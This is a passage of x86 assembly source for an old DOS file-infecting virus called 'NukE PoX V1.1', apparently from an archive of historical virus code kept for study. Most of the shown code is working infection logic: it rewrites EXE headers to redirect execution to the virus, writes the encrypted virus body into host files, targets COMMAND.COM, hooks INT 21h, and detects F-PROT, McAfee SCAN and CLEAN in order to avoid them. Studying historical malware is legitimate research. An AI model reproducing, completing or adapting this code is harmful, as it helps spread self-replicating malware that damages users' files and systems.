npox-v11.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

                pop     cx                                                 
                pop     bx                                                 
                pop     ax                                                 
                cmp     ax,7bcdh                ;Virus checking if alive   
                jne     leave_now               ;No, Exit normally         
                mov     bx,ax                   ;Yes, Fix BX with codez    
leave_now:                                                                 
                jmp     dword ptr cs:[int21]    ;Jmp back to whatever      
exe_file:                                                                  
                mov     cx,word ptr cs:[buffer+20]     ;IP Regester        
                mov     word ptr cs:[exe_ip],cx        ;Save IP Regester   
                mov     cx,word ptr cs:[buffer+22]     ;CS Regester        
                mov     word ptr cs:[exe_cs],cx        ;Save CS Regester   
                mov     cx,word ptr cs:[buffer+16]     ;SP Regester        
                mov     word ptr cs:[exe_sp],cx        ;Save SP Regester   
                mov     cx,word ptr cs:[buffer+14]     ;SS Regester        
                mov     word ptr cs:[exe_ss],cx        ;Save SS Regester   
                push    ax                                                 
                push    dx                                                 
                call    multiply                       ;Figure a new CS:IP 
                sub     dx,word ptr cs:[buffer+8]                          
                mov     word ptr cs:[buffer+22],dx     ;Restore New CS     
                mov     word ptr cs:[buffer+20],ax     ;Restore New IP     
                pop     dx                                                 
                pop     ax                                                 
                add     ax,virus_size                                      
                adc     dx,0                                               
                push    ax                                                 
                push    dx                                                 
                call    multiply                      ;Figure a new SS:SP  
                sub     dx,word ptr cs:[buffer+8]     ;Exe Size (512 Usuall
                add     ax,40h                                             
                mov     word ptr cs:[buffer+14],dx    ;New SS Pointer      
                mov     word ptr cs:[buffer+16],ax    ;New SP Pointer      
                pop     dx                                                 
                pop     ax                                                 
                                                                           
                push    bx                                                 
                push    cx                                                 
                mov     cl,7                          ;Fix for Header for  
                shl     dx,cl                         ;new file size in 512
                                                      ;byte pages          
                mov     bx,ax                                              
                mov     cl,9                          ;And the remainder   
                shr     bx,cl                         ;after dividing by   
                                                      ;512...              
                add     dx,bx                                              
                and     ax,1FFh                                            
                jz      outta_here                                         
                inc     dx                                                 
outta_here:                                                                
                pop     cx                                                 
                pop     bx                                                 
                                                                           
                mov     word ptr cs:[buffer+2],ax     ;Save Remainder      
                mov     word ptr cs:[buffer+4],dx     ;Save Size in 512 pag
                call    infect_me                     ;INFECT File! Yeah!  
                jc      exit_exe                                           
                                                                           
                mov     ah,40h                  ;Write NEW EXE Header back 
                mov     dx,offset ds:[buffer]   ;to EXE File! Points to    
                mov     cx,20h                  ;The Virus Now!!! ehhe     
                int     21h                                                
exit_exe:                                                                  
                jmp     exit_now                                           
                                                                           
rocko           endp                                                       
                                                                           
exe_ip          dw      0               ;Original IP,CS,SP,SS From EXE     
exe_cs          dw      0               ;Header!                           
exe_sp          dw      0                                                  
exe_ss          dw      0                                                  
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                   Infection Routine...                                   
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
infect_me       proc    near                                               
                mov     ah,40h                  ;Write the New Encrypted   
                mov     dx,offset init_virus    ;Virus to File!            
                mov     cx,virus_size                                      
                int     21h                                                
                                                                           
                jc      exit_error              ;Error Split               
                mov     ax,4200h                                           
                xor     cx,cx                   ;Pointer back to beginning 
                xor     dx,dx                   ;file!                     
                int     21h                                                
                                                                           
                jc      exit_error              ;Split Dude...             
                clc                             ;Clear carry flag          
                retn                                                       
exit_error:                                                                
                stc                             ;Set carry flag            
                retn                                                       
infect_me       endp                                                       
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;      Fix EXE Header...Gets new SS, CS Values for EXEs headers            
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
multiply                proc    near                                       
                push    bx                                                 
                push    cx                                                 
                mov     cl,0Ch                                             
                shl     dx,cl                                              
                                                                           
                mov     bx,ax                                              
                mov     cl,4                                               
                shr     bx,cl                                              
                                                                           
                add     dx,bx                                              
                and     ax,0Fh                                             
                pop     cx                                                 
                pop     bx                                                 
                retn                                                       
multiply                endp                                               
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;       Check to see if an `Anti-Viral' Product is being executed.         
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
check_name              proc    near                                       
                push    si                                                 
                push    cx                                                 
                                                                           
                mov     si,dx                                              
                mov     cx,128h                                            
loop_me:                                                                   
                cmp     byte ptr ds:[si],2Eh    ;Find ASCIIZ String        
                je      next_ok                                            
                inc     si                                                 
                loop    loop_me                                            
next_ok:                                                                   
                cmp     ds:[si-2],'TO'          ;Is it ??PROT.EXE (F-PROT) 
                jne     next_1                  ;Naaa                      
                cmp     ds:[si-4],'RP'                                     
                je      bad_file                ;Yupe...                   
next_1:                                                                    
                cmp     ds:[si-2],'NA'          ;Is it SCAN.EXE (McAffee)  
                jne     next_2                  ;Naaa                      
                cmp     ds:[si-4],'CS'                                     
                je      bad_file                ;Yupe...                   
next_2:                                                                    
                cmp     ds:[si-2],'NA'          ;is it ?LEAN.EXE (Clean.EXE
                jne     next_3                  ;Naaa                      
                cmp     ds:[si-4],'EL'                                     
                je      bad_file                ;Yupe...                   
next_3:                                                                    
                pop     cx                                                 
                pop     si                      ;good file Set CARRY FLAG  
                clc                             ;to normal                 
                retn                                                       
bad_file:                                                                  
                pop     cx                      ;Bad file, Set CARRY FLAG  
                pop     si                      ;ON!!!                     
                stc                                                        
                retn                                                       
check_name              endp                                               
                                                                           
command         db      "C:\COMMAND.COM",0      ;What to infect!           
old_time        dw      ?                                                  
old_date        dw      ?                                                  
jump_address    db      0E9h,90h,90h                                       
buffer          db      90h,0CDh,020h                                      
                db      30h DUP (?)                                        
msg             db      "NukE PoX V1.1 - R.S"                              
last:                                                                      
seg_a           ends                                                       
                                                                           
                end     start